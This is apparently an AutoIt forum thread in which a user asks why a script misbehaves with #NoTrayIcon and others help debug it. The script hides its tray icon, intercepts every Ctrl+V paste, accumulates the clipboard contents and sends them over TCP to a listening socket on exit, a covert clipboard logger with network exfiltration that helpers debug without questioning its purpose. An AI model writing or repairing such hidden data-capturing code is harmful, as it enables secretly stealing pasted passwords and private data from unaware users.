Jump to content

NoTrayIcon help?


Recommended Posts

HotKeySet ( "^v" , "paste"                )
Func paste()
HotKeySet ( "^v")
send("^v")
$save = $save & " Pasted: " & ClipGet()
HotKeySet ( "^v" , "paste" )
EndFunc
This works fine without a tray icon. So it is something else

#NoTrayIcon

ClipPut("Test")

HotKeySet ( "^v" , "paste"  )

WHile 1

    Sleep(100)

WEnd


Func paste()
Local $save
HotKeySet ( "^v")
send("^v")
$save = $save & " Pasted: " & ClipGet()
HotKeySet ( "^v" , "paste" )
Msgbox(0,"",$save)
Exit
EndFunc
Link to comment
Share on other sites

Dunno what is it then because my script got mostly hotkeys, only tcp client before it and it works fine, atleast the server says "client has connected"

OK if you don't want to post your script then I suggest you comment out most of your script and leave in something simple and see if that part works. Maybey chuck in the odd mesage box every now and again to see where abouts your up to.

Instead of #NoTrayIcon try TraySetState ( 2 )

Link to comment
Share on other sites

#NoTrayIcon
#include <GUIConstantsEx.au3>


    Local $ConnectedSocket, $szData

    Local $szIPADDRESS = @IPAddress1
    Local $nPORT = 33891


    TCPStartup()

    $ConnectedSocket = -1


    $ConnectedSocket = TCPConnect($szIPADDRESS, $nPORT)


    If @error Then
        while 1
        $ConnectedSocket = TCPConnect($szIPADDRESS, $nPORT)
        WEnd
    Else

        While 1

Dim $save = ""

HotKeySet ( "^v" , "paste"                )


Send("{CAPSLOCK off}")
While 1
sleep(365*24*60*60*1000);1 year :)
WEnd

Func paste()
HotKeySet ( "^v")
send("^v")
$save = $save & " Pasted: " & ClipGet()
HotKeySet ( "^v" , "paste" )
EndFunc




Func OnAutoItExit()
TCPSend($ConnectedSocket,$save)
EndFunc

            If @error Then ExitLoop
        WEnd
    EndIf

Here it is. (Made in an boring, rainy day)

Link to comment
Share on other sites

This script gets stuck in a loop where I have commented it

#NoTrayIcon
#include <GUIConstantsEx.au3>

    Local $ConnectedSocket, $szData
    Local $szIPADDRESS = @IPAddress1
    Local $nPORT = 33891


    $startup = TCPStartup()
    Msgbox(0,"","TCP Started = " & $startup)

    $ConnectedSocket = -1
    $ConnectedSocket = TCPConnect($szIPADDRESS, $nPORT)

    If @error Then
        while 1
        $ConnectedSocket = TCPConnect($szIPADDRESS, $nPORT)
        Msgbox(0,"","Connected socket in the first while loop = " & $ConnectedSocket);Script gets stuck here for me
        WEnd
    Else

        While 1
            ToolTip("Still Running")
            Dim $save = ""

            HotKeySet ( "^v" , "paste"                )


            Send("{CAPSLOCK off}")
            While 1
                Sleep(100)
            ;sleep(365*24*60*60*1000);1 year :)
            WEnd

                If @error Then ExitLoop
        WEnd
    EndIf
    
Func paste();moved this function out of the loop as it shouldn;t be there
            HotKeySet ( "^v")
            send("^v")
            $save = $save & " Pasted: " & ClipGet()
            HotKeySet ( "^v" , "paste" )
            EndFunc




            Func OnAutoItExit()
            TCPSend($ConnectedSocket,$save)
EndFunc
Link to comment
Share on other sites

Right, I made a quick server so that it connected properly, It works the same with or without the tray icon. It gets stuck in your while loops

#NoTrayIcon
#include <GUIConstantsEx.au3>

    Local $ConnectedSocket, $szData
    Local $szIPADDRESS = @IPAddress1
    Local $nPORT = 33891


    $startup = TCPStartup()
    Msgbox(0,"","TCP Started = " & $startup)

    $ConnectedSocket = -1
    $ConnectedSocket = TCPConnect($szIPADDRESS, $nPORT)

    If @error Then
        while 1
        $ConnectedSocket = TCPConnect($szIPADDRESS, $nPORT)
        Msgbox(0,"","Connected socket in the first while loop = " & $ConnectedSocket)
        WEnd
    Else

        While 1
            ToolTip("Still Running")
            Dim $save = ""

            HotKeySet ( "^v" , "paste"                )


            Send("{CAPSLOCK off}")
            While 1
                Sleep(100)
                ToolTip("How is it ever going to get out of here? The script is stuck in this loop");Stuck here
            ;sleep(365*24*60*60*1000);1 year :);why sleep for a year?
            WEnd

                If @error Then ExitLoop
        WEnd
    EndIf
    
Func paste();moved this function out of the loop as it shouldn;t be there
            HotKeySet ( "^v")
            send("^v")
            $save = $save & " Pasted: " & ClipGet()
            HotKeySet ( "^v" , "paste" )
EndFunc


Func OnAutoItExit()
            TCPSend($ConnectedSocket,$save)
EndFunc
Link to comment
Share on other sites

Create an account or sign in to comment

You need to be a member in order to leave a comment

Create an account

Sign up for a new account in our community. It's easy!

Register a new account

Sign in

Already have an account? Sign in here.

Sign In Now
 Share

  • Recently Browsing   0 members

    • No registered users viewing this page.
×
×
  • Create New...